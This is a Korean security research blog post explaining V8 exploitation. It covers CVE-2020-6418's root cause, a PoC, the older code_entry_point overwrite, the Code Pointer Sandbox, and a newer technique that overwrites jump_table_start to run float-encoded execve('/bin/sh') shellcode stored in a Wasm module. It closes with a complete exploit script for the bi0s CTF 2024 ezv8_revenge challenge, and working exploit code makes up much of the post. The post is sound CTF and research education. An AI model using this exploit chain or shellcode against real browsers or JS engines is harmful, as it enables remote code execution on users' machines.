Modern V8 Engine Exploit with Wasm Shellcode

Modern V8 Engine Exploit with Wasm Shellcode

라온시큐어 화이트햇센터 핵심연구팀 김성민(kimg00n)

1.서론

최근 CTF에서 나오는 V8 JS Engine exploit 문제의 경우 예전에 밝혀진 1-day 취약점을 사용하여 문제풀이를 유도합니다. 하지만 V8 Engine의 경우 취약점 공개 당시의 버전을 사용하지 않기 때문에 그동안 새롭게 추가된 mitigation을 bypass해야 하거나 예전에 통상적으로 사용하던 방식을 사용하지 못하는 경우가 대다수입니다.

이번 글에서는 과거의 익스플로잇 방법론과 현재의 익스플로잇 방법론을 분석하며 1-day 취약점이 적용된 CTF 문제에 어떻게 사용되는지 설명드리도록 하겠습니다.

2.Previous Exploit(CVE-2020-6418)

2.1.Root Cause 분석

STAR Labs의 블로그에 위 취약점에 대하여 잘 설명된 글이 있어 참고하여 작성하였습니다.

원본 링크 : https://starlabs.sg/blog/2022/12-deconstructing-and-exploiting-cve-2020-6418/

-Patch-

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
           // We reached the allocation of the {receiver}.
           return kNoReceiverMaps;
         }
+        result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

취약점의 경우 node-properties.cc파일의 InferMapsUnsafe함수에서 발생합니다.

NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Effect effect,
    ZoneRefUnorderedSet<MapRef>* maps_out) {
  HeapObjectMatcher m(receiver);
  if (m.HasResolvedValue()) {
    HeapObjectRef ref = m.Ref(broker);
    if (!ref.IsJSObject() ||
        !broker->IsArrayOrObjectPrototype(ref.AsJSObject())) {
      if (ref.map().is_stable()) {
        // The {receiver_map} is only reliable when we install a stability
        // code dependency.
        *maps_out = RefSetOf(broker, ref.map());
        return kUnreliableMaps;
      }
    }
  }
  InferMapsResult result = kReliableMaps;
  while (true) {
    switch (effect->opcode()) {
      //...
    }

    // Stop walking the effect chain once we hit the definition of
    // the {receiver} along the {effect}s.    
    if (IsSame(receiver, effect)) return kNoMaps;                         //[2]

    // Continue with the next {effect}.
    DCHECK_EQ(1, effect->op()->EffectInputCount());
    effect = NodeProperties::GetEffectInput(effect);                      //[1]
  }
}

InferMapsUnsafe 함수는 Turbofan의 sea of nodes 표현을 기반으로 대상 객체의 Map이 신뢰할 수 있는지 판단하는 함수입니다. 이 함수는 Map의 source를 찾을 때[2]까지 effect chain을 순회[1]하게 됩니다.

    switch (effect->opcode()) {
      case IrOpcode::kMapGuard: {                                         //[3]
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_out = ToRefSet(broker, MapGuardMapsOf(effect->op()));
          return result;
        }
        break;
      }
      case IrOpcode::kCheckMaps: {                                        //[3]
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_out =
              ToRefSet(broker, CheckMapsParametersOf(effect->op()).maps());
          return result;
        }
        break;
      }
      //...
      case IrOpcode::kJSCreate: {                                       
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_out = RefSetOf(broker, initial_map.value());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoMaps;
        }                                                                  //[5]
        break;
      } 
      //...
      default: {
        DCHECK_EQ(1, effect->op()->EffectOutputCount());
        if (effect->op()->EffectInputCount() != 1) {
          // Didn't find any appropriate CheckMaps node.
          return kNoMaps;
        }
        if (!effect->op()->HasProperty(Operator::kNoWrite)) {              //[4]
          // Without alias/escape analysis we cannot tell whether this
          // {effect} affects {receiver} or not.
          result = kUnreliableMaps;
        }
        break;
      }
    }

effect chain을 순회할 때 MapGuard 혹은 CheckMaps노드를 만나게 되면[3] 현재 결과를 반환하게됩니다. (Map이 Gaurd/Check되었으므로 신뢰할 수 있는 것으로 보장됩니다.) 만약 Map을 수정할 수 있는 Side Effect가 발생할 수 있는 노드(예를 들어 kNoWrite 플래그가 설정되어 있지 않은 경우[4])라면 해당 Map은 신뢰할 수 없는 것으로 표시됩니다.

하지만 Map의 source가 아닌 JSCreate노드를 만나게 되면 Map이 신뢰할 수 없는 것으로 표시되지 않지만[5], JSCreate는 Object의 Map을 변경할 수 있는 Side Effect가 발생할 수 있습니다.

Reflect.construct()에 세 번째 인자로 Proxy를 전달하면 inlining 단계에서 JSCallReducer::ReduceReflectConstruct에서 JSCreate 노드로 수행될 수 있습니다. 따라서 Object의 Map이 수정된 후에는 확인되지 않으므로 Type Confusion 및 Heap Curruption이 발생합니다.

-PoC-

ITERATIONS = 0x1000;

let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined;  // array for OOB
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
    a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319);
    for (let i = 0; i < ITERATIONS; i++) { }
}
let p = new Proxy(Object, {
    get: () => {
        a[1] = {};
        oob_arr = [1.1];
        return Object.prototype;
    }
});
function main(p) {
    f(p);
    for (let i = 0; i < ITERATIONS; i++) { }
}
for (let i = 0; i < ITERATIONS; i++) { main(empty); a.pop(); }
main(empty);
main(empty);
main(p);
print('[+] Length of oob_arr: 0x' + oob_arr.length.toString(16));

초기 OOB write를 달성하기 위해 fArray.push() 호출 안에 중첩하여 Reflect.construct()를 호출합니다. 삼항 연산자는 사용자가 제어하는 값을 push하여 length 필드를 덮어쓰게 합니다.

또한 Proxy p를 선언합니다. 이 Proxy는 OOB write를 트리거하고 싶을 때만 호출됩니다. 이 Proxy는 a[1]을 빈 Object로 변경하여 a의 type을 Object array로 변경합니다. 그러면 힙에 array가 재할당되고 a근처에 위치할 또 다른 double array인 oob_arr도 할당됩니다.

먼저 함수를 Proxy 없이 여러번 호출하여 Turbofan optimisation을 트리거합니다. 이 함수의 경우 main으로 래핑되어 가장 바깥쪽에서 호출되는 함수인 JSCreate가 아닌 호출에 대한 optimisation을 방지합니다.

이렇게 여러번 호출하는 동안 array의 크기는 Array.pop()을 통해 원래 크기보다 작게 유지되어 array가 재할당되는 것을 방지합니다.

마지막 함수 호출에서 Proxy p를 호출합니다. a가 4바이트 Object array로 변경되고 재할당된 후 Type Confusion이 일어나 Arrary.push() 호출은 이전의 8바이트 요소 크기를 사용하여 OOB write가 발생하고 oob_arr의 length 필드를 덮어쓰게 됩니다.

이후 OOB 접근을 통해 addrof, fakeobj 프리미티브를 획득할 수 있습니다.

이 글의 주제는 프리미티브 획득 관련이 아니므로, 취약점을 통한 프리미티브 획득 과정의 자세한 내용은 STAR Labs 블로그를 참고하시길 바랍니다.

2.2.Wasm이란

Wasm은 WebAssembly의 줄임말으로 최신 웹 브라우저(Chrome, Firefox, Safari 등)에서 실행할 수 있는 코드 유형을 뜻합니다. low-level에 가까운 바이너리 형식의 어셈블리와 유사한 언어로 네이티브에 가까운 성능을 낼 수 있고 JavaScript와 함께 실행할 수 있는 장점이 있어 최신 웹 브라우저는 Wasm형식의 코드 실행을 지원하고 있습니다.

Wasm은 text format과 binary format으로 나타낼 수 있습니다.

(module
  (func (export "addTwo") (param i32 i32) (result i32)
    local.get 0
    local.get 1
    i32.add))

위는 간단하게 32비트 정수 2개를 인자로 받아 더한 뒤 값을 반환하는 함수인 addTwo함수를 나타내는 text format입니다.

위 함수를 컴파일하게 되면 아래와 같이 binary format으로 나타나게 됩니다.

0000000: 0061 736d                                 ; WASM_BINARY_MAGIC
0000004: 0100 0000                                 ; WASM_BINARY_VERSION
; section "Type" (1)
0000008: 01                                        ; section code
0000009: 00                                        ; section size (guess)
000000a: 01                                        ; num types
; func type 0
000000b: 60                                        ; func
000000c: 02                                        ; num params
000000d: 7f                                        ; i32
000000e: 7f                                        ; i32
....(생략)
0000036: 00                                        ; function index
0000037: 00                                        ; num locals
0000034: 03                                        ; FIXUP subsection size
000002d: 0a                                        ; FIXUP section size

이렇게 컴파일된 함수는 다음과 같이 JavaScript내에서 WasmInstance를 선언하여 사용할 수 있습니다.

const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
for (let i = 0; i < 10; i++) {
  console.log(addTwo(i, i));
}

Exploit 분석을 위한 Wasm에 대한 지식은 이 정도면 충분하기 때문에 Wasm에 대해 더 궁금하시다면 자세한 Spec이 나와있는 https://www.webassembly.org를 참고하시면 좋을 것 같습니다.

const foo = () =>
{
	// execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
	return [1.9553820986592714e-246, 1.9563263856661303e-246, 1.97118242283721e-246, 1.953386553958016e-246, 1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246, 1.9542147542160752e-246, 1.9711160659893061e-246, 1.9570673214474156e-246, 1.9711826530939365e-246, 1.9711829003216748e-246, 1.9710251545829015e-246, 1.9554490389999772e-246, 1.9560284264452913e-246, 1.9710610293119303e-246, 5.4982667050358134e-232, 5.505509694889265e-232, 5.548385865542889e-232, 5.5040937958710434e-232, 5.548386605550227e-232];	}

// Trigger optimisation of function so the bytecode is stored in heap
// Done first so garbage collection does not affect later stages

for (let i = 0; i < 0x10000; i++) { foo(); } 

// ...
// the rest of the exploit
// ...

foo_addr = addrof(foo);

code_container = lower(heap_read64(foo_addr + -1n + 0x18n));
code_entry_addr = code_container + -1n + 0x10n;
code_entry = heap_read64(code_entry_addr);

print("addrof foo = ", hex(foo_addr));
print("code container = ", hex(code_container));
print("code entry = ", hex(code_entry));

// Overwrite code entry to start of user-controlled doubles
heap_write64(code_entry_addr, code_entry + 0x66n); 

foo(); // Executes user-controlled doubles as shellcode

2.3.Exploit 분석

AAR, AAW 프리미티브를 획득하고, 부동소수점 쉘 코드가 포함되어 있는 JSFunction을 TurboFan으로 optimize한 후, code entry 포인터를 덮어써 익스플로잇합니다.

d8> %DebugPrint(foo)
DebugPrint: 0x20aa003888a9: [Function] in OldSpace
 - map: 0x20aa00244245 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x20aa002440f9 <JSFunction (sfi = 0x20aa0020aad1)>
 - elements: 0x20aa00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 ...
 - code: 0x20aa0020b3a9 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
 ...
 
d8> %DebugPrintPtr(0x20aa0020b3a9)
DebugPrint: 0x20aa0020b3a9: [CodeDataContainer] in OldSpace
 - map: 0x20aa00002a71 <Map[32](CODE_DATA_CONTAINER_TYPE)>
 - kind: BUILTIN
 - builtin: InterpreterEntryTrampoline
 - is_off_heap_trampoline: 1
 - code: 0
 - code_entry_point: 0x7fff7f606cc0 <- 여기를 덮어쓰게 됩니다.

하지만 이제 V8 Engine에 Code Pointer Sandbox가 적용되면서 이러한 방법은 사용하기 어렵게 되었습니다.

3.V8 Internal

3.1.Code Pointer Sandbox

원문 : https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k

Untitled

과거의 Exploit에서는 Code Object의 code_entry_point를 덮어써서 힙 샌드박스를 탈출하여 임의의 코드를 실행할 수 있었습니다. 간단하게 임의의 코드를 생성하고 실행하는 JIT 스프레이 기술로 익스플로잇 할 수 있었습니다. 정상적인 인라인 상수(부동소수점)을 사용하는 JIT 코드를 사용한 다음 정상적인 entry포인트 대신 부동소수점으로 점프하도록 code_entry_point를 덮어썼습니다.

하지만 JIT스프레이가 불가능하더라도 기존 코드의 중간으로 점프하거나 완전히 다른 기능으로 점프하는 것은 샌드박스를 탈출하기에 충분합니다.

이러한 익스플로잇을 방지하기 위해 Code Pointer Sandboxing이 적용되었습니다.

Untitled

간단하게 설명드리면 Code Pointer Table을 통하여 Code Object를 참조하게 되면서 Code Object가 샌드박스 바깥으로 이동되었습니다. 그리고 code_entry_point가 더이상 필요하지 않게 되면서 이 항목은 사라지게 되었습니다.

DebugPrint: 0x3ed00713921: [Function]
 - map: 0x03ed000c443d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
...
 - code: 0x03ed00f7b24d <Code TURBOFAN>
...

d8> %DebugPrintPtr(0x03ed00f7b24d)
DebugPrint: 0x3ed00f7b24d: [Code] in OldSpace
 - map: 0x03ed00000d09 <Map[60](CODE_TYPE)>
 - kind: TURBOFAN
 - deoptimization_data_or_interpreter_data: 0x03ed00f7b1c1 <FixedArray[15]>
 - position_table: 0x03ed00000e69 <ByteArray[0]>
 - instruction_stream: 0x7f79e00080f1 <InstructionStream TURBOFAN>
 - instruction_start: 0x7f79e0008100
 - is_turbofanned: 1
 - stack_slots: 6
 - marked_for_deoptimization: 0
 - embedded_objects_cleared: 0
 - can_have_weak_objects: 1
 - instruction_size: 348
 - metadata_size: 20
 - inlined_bytecode_size: 0
 - osr_offset: -1
 - handler_table_offset: 20
 - unwinding_info_offset: 20
 - code_comments_offset: 20
 - instruction_stream.relocation_info: 0x03ed00f7b22d <ByteArray[15]>
 - instruction_stream.body_size: 368
...
Instructions (size = 348)
0x7f79e0008100     0  488d1df9ffffff       REX.W leaq rbx,[rip+0xfffffff9]
...

최근 버전의 V8 Engine에서는 code_entry_point항목이 사라진 것을 볼 수 있습니다.

3.2.WasmInstance Object

앞서 설명했듯이 Wasm은 JS와 함께 실행할 수 있습니다.

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 6, 1, 96, 2, 126, 126, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 4, 1, 2, 0, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance2 = new WebAssembly.Instance(wasmModule);
%DebugPrint(wasmInstance2);
var f2 = wasmInstance2.exports.main;

위의 코드는 작성한 Wasm코드를 컴파일하여 바이트 코드만 뽑아낸 후 JS와 같이 실행하는 코드입니다.

WasmInstance를 선언하게 되면 rwx권한을 가진 메모리 영역이 생성되게 됩니다.

그리고 WasmInstance Object의 DebugPrint 출력을 보면 jump_table_start라는 property가 rwx 영역의 주소를 가지고 있는 것을 볼 수있습니다.

DebugPrint: 0x164b000d9ffd: [WasmInstanceObject] in OldSpace
 - map: 0x164b000d13a1 <Map[208](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x164b000d144d <Object map = 0x164b000d9fd5>
 - elements: 0x164b000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
...
 - jump_table_start: 0x39f6389b8000
...
 - All own properties (excluding elements): {}

Untitled

gdb를 통해 임의로 jump_table_start가 가리키는 주소를 변경한 후 Wasm 함수를 실행해 보겠습니다.

Untitled

변경한 jump_table_start의 주소로 프로그램이 jmp하며 세그멘테이션 폴트가 일어나는 것을 볼 수 있습니다. 따라서 AAW를 통해 jump_table_start의 주소를 변경한다면 RIP조작이 가능한 것을 알 수 있습니다.

이러한 일이 일어나는 이유는 Wasm의 Lazy compilation 때문입니다. 다시 한번 실행하여 jump_table_start가 가리키는 메모리를 확인해보겠습니다.

 - jump_table_start: 0x1a497a42e000

pwndbg> x/40a 0x1a497a42e000
0x1a497a42e000: 0x7bbe9 0x0
0x1a497a42e010: 0x0     0x0
0x1a497a42e020: 0x0     0x0
0x1a497a42e030: 0x0     0x0
0x1a497a42e040: 0x90660000000225ff      0x7f49b27df300 <Builtins_ThrowWasmTrapUnreachable>
0x1a497a42e050: 0x90660000000225ff      0x7f49b27df780 <Builtins_ThrowWasmTrapMemOutOfBounds>
0x1a497a42e060: 0x90660000000225ff      0x7f49b27df7c0 <Builtins_ThrowWasmTrapUnalignedAccess>
...
0x1a497a42e780: 0x90660000000225ff      0x7f49b27d67c0 <Builtins_WasmAllocateZeroedFixedArray>
0x1a497a42e790: 0x90660000000225ff      0x1a497a42e790
0x1a497a42e7a0: 0x0     0x0
0x1a497a42e7b0: 0x0     0x0
0x1a497a42e7c0: 0xf986e90000000068      0xffff
0x1a497a42e7d0: 0x0     0x0
0x1a497a42e7e0: 0x0     0x0
0x1a497a42e7f0: 0x0     0x0
0x1a497a42e800: 0x0     0x0
0x1a497a42e810: 0x0     0x0
0x1a497a42e820: 0x0     0x0
...
0x1a497a42e8b0: 0x0     0x0

메모리의 앞쪽에는 Wasm의 Builtin함수들의 주소가 위치해있는 것을 볼 수 있고, 그 뒤로는 아무런 값도 들어있지 않은 것을 볼 수 있습니다.

함수를 실행한 후, 다시 메모리를 확인해보겠습니다.

d8> f2(1n, 1n);

pwndbg> x/40a 0x1a497a42e000
0x1a497a42e000: 0x7fbe9 0x0
0x1a497a42e010: 0x0     0x0
0x1a497a42e020: 0x0     0x0
0x1a497a42e030: 0x0     0x0
0x1a497a42e040: 0x90660000000225ff      0x7f49b27df300 <Builtins_ThrowWasmTrapUnreachable>
0x1a497a42e050: 0x90660000000225ff      0x7f49b27df780 <Builtins_ThrowWasmTrapMemOutOfBounds>
0x1a497a42e060: 0x90660000000225ff      0x7f49b27df7c0 <Builtins_ThrowWasmTrapUnalignedAccess>
...
0x1a497a42e780: 0x90660000000225ff      0x7f49b27d67c0 <Builtins_WasmAllocateZeroedFixedArray>
0x1a497a42e790: 0x90660000000225ff      0x1a497a42e790
...
0x1a497a42e800: 0x4856086ae5894855      0x4e8b00000010ec81
0x1a497a42e810: 0x749b70fce0349ff       0x840f0000086bf981
0x1a497a42e820: 0x48bf00000020  0x8ec8348e2894900
0x1a497a42e830: 0x2414894cf0e48348      0x7f49b2d52950b848
0x1a497a42e840: 0xa0653b49d0ff0000      0x8b4c00000037860f
0x1a497a42e850: 0x880f4e2a83417756      0xf87d834800000038
0x1a497a42e860: 0x30bf1d7408    0x4808ec8348e28949
0x1a497a42e870: 0x482414894cf0e483      0xd0ffffffffbc058b
0x1a497a42e880: 0xe85250c35de58b48      0x8b48585afffffa74
0x1a497a42e890: 0xc5e85250baebf075      0x758b48585afffff8
0x1a497a42e8a0: 0x190b9ebf0     0xcccc008c00000410

시작주소 + 0x800의 위치에 어떠한 값이 생긴 것을 볼 수 있습니다.

pwndbg> x/10i 0x1a497a42e800
   0x1a497a42e800:      push   rbp
   0x1a497a42e801:      mov    rbp,rsp
   0x1a497a42e804:      push   0x8
   0x1a497a42e806:      push   rsi
   0x1a497a42e807:      sub    rsp,0x10
   0x1a497a42e80e:      mov    ecx,DWORD PTR [rsi-0x1]
   0x1a497a42e811:      add    rcx,r14
   0x1a497a42e814:      movzx  ecx,WORD PTR [rcx+0x7]
   0x1a497a42e818:      cmp    ecx,0x86b
   0x1a497a42e81e:      je     0x1a497a42e844

instruction을 출력해보면 함수 프롤로그에 해당하는 어셈블리를 확인할 수 있습니다. 이것은 아까 export한 Wasm 함수에 해당하는 어셈블리입니다.

따라서 처음 Wasm 함수를 호출하게 되면 바로 어셈블리를 실행하는 것이 아니라 호출될 때 컴파일 된 후 실행된다는 것을 알 수 있습니다.

4.Modern Exploit with Wasm

4.1.Wasm Shellcode

현재 jump_table_start의 경우 AAW를 통해 RIP컨트롤 획득을 할 수 있다는 것을 알았습니다.

따라서 부동소수점 쉘코드를 Wasm 바이트코드로 변환한 후 JS파일에 포함시키고, rwx영역의 주소를 구한 후 쉘코드의 시작지점으로 jump_table_start의 값을 덮어쓰면 작성한 쉘코드가 실행될 것입니다.

(module
  (func (export "main2") (result f64 f64 f64 f64 f64 f64 f64 f64)
    f64.const 0xceb909090583b6a
    f64.const 0xceb5b0068732f68
    f64.const 0xceb596e69622f68
    f64.const 0xceb909020e3c148
	  f64.const 0xceb909053cb0148
    f64.const 0xceb909090e78948
    f64.const 0xcebd23148f63148
    f64.const 0xceb90909090050f
))

execve(”/bin/sh”)를 실행하는 쉘코드의 경우 위와 같이 만들어 주었습니다. 위의 f64값은 부동소수점 쉘코드의 원리와 동일하게 동작합니다. 이를 wat2wasm으로 컴파일하여 바이트코드만 추출하였습니다.

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 1, 96, 0, 8, 124, 124, 124, 124, 124, 124, 124, 124, 3, 2, 1, 0, 7, 9, 1, 5, 109, 97, 105, 110, 50, 0, 0, 10, 76, 1, 74, 0, 68, 106, 59, 88, 144, 144, 144, 235, 7, 68, 104, 47, 115, 104, 0, 91, 235, 7, 68, 104, 47, 98, 105, 110, 89, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 72, 137, 231, 144, 144, 144, 235, 7, 68, 72, 49, 246, 72, 49, 210, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main2;

추출한 바이트코드를 위와 같이 JS에 포함시켜줍니다. 한가지 더 알아야 할 것이 jump_table_start 주소 변조의 경우 WasmInstance당 단 1번만 가능하다는 것입니다. 한번 Wasm함수를 실행시켜 jump_table_start의 주소를 참조했다면 다음부터는 jump_table_start를 변조하여도 RIP가 조작되지 않습니다.

4.2.Exploit

따라서 WasmInstance를 2개 만들거나 Wasm에 2개의 function을 만들어 한 곳에는 쉘코드를 담고 한 곳은 RIP 조작 용도로 쓰면 익스플로잇이 가능합니다.

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 1, 96, 0, 8, 124, 124, 124, 124, 124, 124, 124, 124, 3, 2, 1, 0, 7, 9, 1, 5, 109, 97, 105, 110, 50, 0, 0, 10, 76, 1, 74, 0, 68, 106, 59, 88, 144, 144, 144, 235, 7, 68, 104, 47, 115, 104, 0, 91, 235, 7, 68, 104, 47, 98, 105, 110, 89, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 72, 137, 231, 144, 144, 144, 235, 7, 68, 72, 49, 246, 72, 49, 210, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main2;
f();

...

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 6, 1, 96, 2, 126, 126, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 4, 1, 2, 0, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance2 = new WebAssembly.Instance(wasmModule);
var f2 = wasmInstance2.exports.main;

wasmInstance_addr = addrof(wasmInstance);
wasmInstance2_addr = addrof(wasmInstance2);

jump_table_addr = wasmInstance_addr + 0x48n - 1n;
jump_table_addr2 = wasmInstance2_addr + 0x48n - 1n;

lower_rwx = lower(heap_read64(jump_table_addr));
upper_rwx = upper(heap_read64(jump_table_addr));
console.log("rwx", hex((upper_rwx << 32n) + lower_rwx));
rwx = (upper_rwx << 32n) + lower_rwx

heap_write64(jump_table_addr2, rwx + 0x81an);

f2(1n, 1n);

위와 같이 먼저 쉘코드를 담은 Wasm 함수를 실행시켜 쉘코드를 rwx권한 메모리에 넣은 후 두번째 WasmInstancejump_table_start가 가리키는 주소를 쉘코드의 주소로 덮어써서 익스플로잇할 수 있습니다.

5.bi0s CTF 2024 - ezv8_revenge

bi0s CTF 2024에 출제된 ezv8_revenge 문제의 경우 위에서 설명된 CVE-2020-6418 취약점을 기반으로 한 문제입니다. 또한 위에서 설명한 Wasm Shellcode + jump_table_start overwrite기법을 적용할 수 있는 문제입니다.

다음은 Full Exploit 스크립트입니다.

ab = new ArrayBuffer(8);
f64 = new Float64Array(ab);
B64 = new BigInt64Array(ab);

function ftoi(f) { // float to int
    f64[0] = f;
    return B64[0];
}
function itof(i) { // int to float
    B64[0] = i;
    return f64[0];
}
function lower(i) { // lower 32 bits of int
    return i & BigInt(0xffffffff);
}
function upper(i) {  // upper 32 bits of int
    return (i >> 32n) & BigInt(0xffffffff);
}
function hex(i) {
    // Return the hex string of a value
    start = "";
    content = i.toString(16);
    return start + "0x" + content;
}

ITERATIONS = 0x1000;

let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined;  // array for OOB
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
    a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319); 
    for (let i = 0; i < ITERATIONS; i++) { }
}
let p = new Proxy(Object, {
    get: () => {
        a[1] = {};
        oob_arr = [1.1];
        return Object.prototype;
    }
});
function main(p) {
    f(p);
    for (let i = 0; i < ITERATIONS; i++) { }
}
for (let i = 0; i < ITERATIONS; i++) { main(empty); a.pop(); }
main(empty);
main(empty);
main(p);
print('[+] Length of oob_arr: 0x' + oob_arr.length.toString(16));
let vic_arr = new Array(128); // Victim float array
vic_arr[0] = 1.1;
let obj_arr = new Array(256); // Object array
obj_arr[0] = {};

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 1, 96, 0, 8, 124, 124, 124, 124, 124, 124, 124, 124, 3, 2, 1, 0, 7, 9, 1, 5, 109, 97, 105, 110, 50, 0, 0, 10, 76, 1, 74, 0, 68, 106, 59, 88, 144, 144, 144, 235, 7, 68, 104, 47, 115, 104, 0, 91, 235, 7, 68, 104, 47, 98, 105, 110, 89, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 72, 137, 231, 144, 144, 144, 235, 7, 68, 72, 49, 246, 72, 49, 210, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main2;
f();

function oob_read32(i) { // Read 32 bits at offset from oob_arr elements
    i -= 2;
    if (i % 2 == 0) return lower(ftoi(oob_arr[(i >> 1)]));
    else return upper(ftoi(oob_arr[(i >> 1)]));
}

function oob_write32(i, x) { // Write 32 bits at offset from oob_arr elements
    i -= 2;
    if (i % 2 == 0) oob_arr[(i >> 1)] = itof((oob_read32(i ^ 1) << 32n) + x);
    else oob_arr[(i >> 1)] = itof((x << 32n) + oob_read32(i ^ 1));
}

function addrof(o) { // Get heap address of object
    obj_arr[0] = o;
    vic_arr_mapptr = oob_read32(36);
    console.log(vic_arr_mapptr.toString(16));
    obj_arr_mapptr = oob_read32(430);
    console.log(obj_arr_mapptr.toString(16));
    oob_write32(430, vic_arr_mapptr); // obj_arr->map = vic_arr->map
    let addr = obj_arr[0];
    oob_write32(430, obj_arr_mapptr);
    return ftoi(addr);
}

function heap_read64(addr) { // Read 64 bits at arbitrary heap address
    vic_arr_elemptr = oob_read32(38);
    new_vic_arr_elemptr = (addr - 0x8n + 1n);
    oob_write32(38, new_vic_arr_elemptr);
    let data = ftoi(vic_arr[0]);
    oob_write32(38, vic_arr_elemptr);
    return data;
}

function heap_write64(addr, val) { // Write 64 bits at arbitrary heap address
    vic_arr_elemptr = oob_read32(38);
    new_vic_arr_elemptr = (addr + -0x8n + 1n);
    oob_write32(38, new_vic_arr_elemptr);
    vic_arr[0] = itof(val);
    oob_write32(38, vic_arr_elemptr);
}

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 6, 1, 96, 2, 126, 126, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 4, 1, 2, 0, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance2 = new WebAssembly.Instance(wasmModule);
var f2 = wasmInstance2.exports.main;

wasmInstance_addr = addrof(wasmInstance);
wasmInstance2_addr = addrof(wasmInstance2);

jump_table_addr = wasmInstance_addr + 0x48n - 1n;
jump_table_addr2 = wasmInstance2_addr + 0x48n - 1n;

lower_rwx = lower(heap_read64(jump_table_addr));
upper_rwx = upper(heap_read64(jump_table_addr));
console.log("rwx", hex((upper_rwx << 32n) + lower_rwx));
rwx = (upper_rwx << 32n) + lower_rwx

heap_write64(jump_table_addr2, rwx + 0x81an);

f2(1n, 1n);

저는 위에서 설명한 것처럼 WasmInstance를 2개 생성하는 쪽으로 익스플로잇하였습니다. 하지만 1개의 WasmInstance에 함수를 2개 만들어 더 깔끔하게 익스플로잇하는 방법도 있으므로 링크를 남겨 놓겠습니다.(https://d0ublew.github.io/writeups/bi0s-2024/pwn/ezv8-revenge/index.html)

6.결론

DebugPrint: 0x2e5d00298c7d: [WasmInstanceObject] in OldSpace
 - map: 0x2e5d0028ee75 <Map[24](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2e5d0028ef21 <Object map = 0x2e5d00298c2d>
 - elements: 0x2e5d000006fd <FixedArray[0]> [HOLEY_ELEMENTS]
 - trusted_data: 0x0d3c000400f1 <Other heap object (WASM_TRUSTED_INSTANCE_DATA_TYPE)>
 - module_object: 0x2e5d00048f81 <Module map = 0x2e5d0028ed4d>
 - exports_object: 0x2e5d00049051 <Object map = 0x2e5d00298dad>
 - properties: 0x2e5d000006fd <FixedArray[0]>
 - All own properties (excluding elements): {}

0x2e5d0028ee75: [Map] in OldSpace
 - map: 0x2e5d002816ed <MetaMap (0x2e5d0028173d <NativeContext[289]>)>
 - type: WASM_INSTANCE_OBJECT_TYPE
 - instance size: 24
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x2e5d00000069 <undefined>
 - prototype_validity cell: 0x2e5d00000a61 <Cell value= 1>
 - instance descriptors (own) #0: 0x2e5d00000731 <DescriptorArray[0]>
 - prototype: 0x2e5d0028ef21 <Object map = 0x2e5d00298c2d>
